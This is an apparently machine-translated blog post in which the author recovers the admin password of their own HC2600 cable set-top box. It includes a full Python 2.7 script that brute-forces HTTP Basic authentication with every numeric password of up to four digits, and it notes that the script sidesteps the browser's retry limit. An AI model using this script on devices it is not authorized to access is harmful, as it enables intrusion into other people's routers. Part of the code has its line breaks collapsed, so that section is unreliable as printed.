[テクニック]Pythonスクリプト暴力HC 2600トップボックス管理パスワードを解読

2944 ワード

家は最近、広電ケーブルテレビに接続され、3つの創維HC 2600セットトップボックスを搭載し、各セットトップボックスには無線ルータ機能も備えている.
インターネットアクセスサービスを無料で提供してもいいが、トップボックスに内蔵されているWIFIは、2.4 GHz帯域で802.11 n 150 Mbpsの伝送しかサポートしていないという寒さに耐えられない.2.4 GHz帯はもともと混雑していて、ユーザー体験がよくありません.802.11 ac対応のデュアル周波数ワイヤレスルータと混用すると、逆に干渉で逆効果になる恐れがあります.
ただし、HC 2600セットトップボックスの構成を変更するには、管理者パスワードが必要です.ネット上でHC 2600を検索した管理者のユーザー名はadminのようですが(後で確認しても確かにそうです)、パスワードは確定できません.
だから私はPythonのスクリプトを書いて暴力的な試みをしました.解読手順は次のとおりです.
まずパソコンをセットトップボックスのEthernetインタフェースにネットワークケーブルで接続し,パソコンはDHCPで自動的にIPアドレスを取得する.
その後、最新版のPython 2.7をインストールし、ファイルtvboxを新規作成します.py次の内容を入力します.
import base64, socket, urllib2

def login(url, username, password):
    while True:
        try:
            request1 = urllib2.Request(url)
            response1 = urllib2.urlopen(request1, timeout = 2) # 2 seconds
        except socket.timeout, e: # timeout handler for Python 2.7
            print "Login timedout"
            continue
        except urllib2.URLError, e:
            if e.code != 401:
                raise
            else:
                break

    while True:
        try:
            request2 = urllib2.Request(url)
            base64string = base64.encodestring('%s:%s' % (username, password)).replace('
', '') request2.add_header("Authorization", "Basic %s" % base64string) response2 = urllib2.urlopen(request2, timeout = 2) # 2 seconds return True except socket.timeout, e: # timeout handler for Python 2.7 print "Login timedout" continue except urllib2.URLError, e: if e.code == 401: return False def main(): for length in range(1, 5): end = 10 ** length print "Trying length %d (start = 0, end = %d)" % (length, end) for i in range(0, end): pattern = "%%0%dd" % length password = pattern % i if login("http://192.168.99.1", "admin", password): print "Password found: %s" % password break else: print "%s" % password main()

上のファイルでは、トップボックスのルータのアドレスが192.168.99.1であると仮定し、構成が異なる場合はtvboxを変更する必要があります.pyの41行目のコード.
エラーがないことを確認する、tvboxを実行します.pyでいいです.
上のスクリプトでは、0-9、00-99、000-999、000-999の11110個の純粋なデジタルパスワードを試してみましたが、目視で解読速度は毎秒100回程度です.
PS:ブラウザを使用してログインを試行した場合、パスワードエラーが3回発生した後、再試行する必要があります.これはブラウザ設定の制限ですが、スクリプトを使うとこのような制限はありません.
……
結果は意外にも、すぐにパスワードが出てきました:0000、インストール人員図のおかげで手間が省けました.もし本当に8桁の純粋なデジタルパスワードのすべての可能性をスキャンするならば、恐らく十数日かかります.
ヒント:上のスクリプトはPython 2.7にのみ適用されます.他のバージョンを使用している場合は、コードを少し変更する必要があります.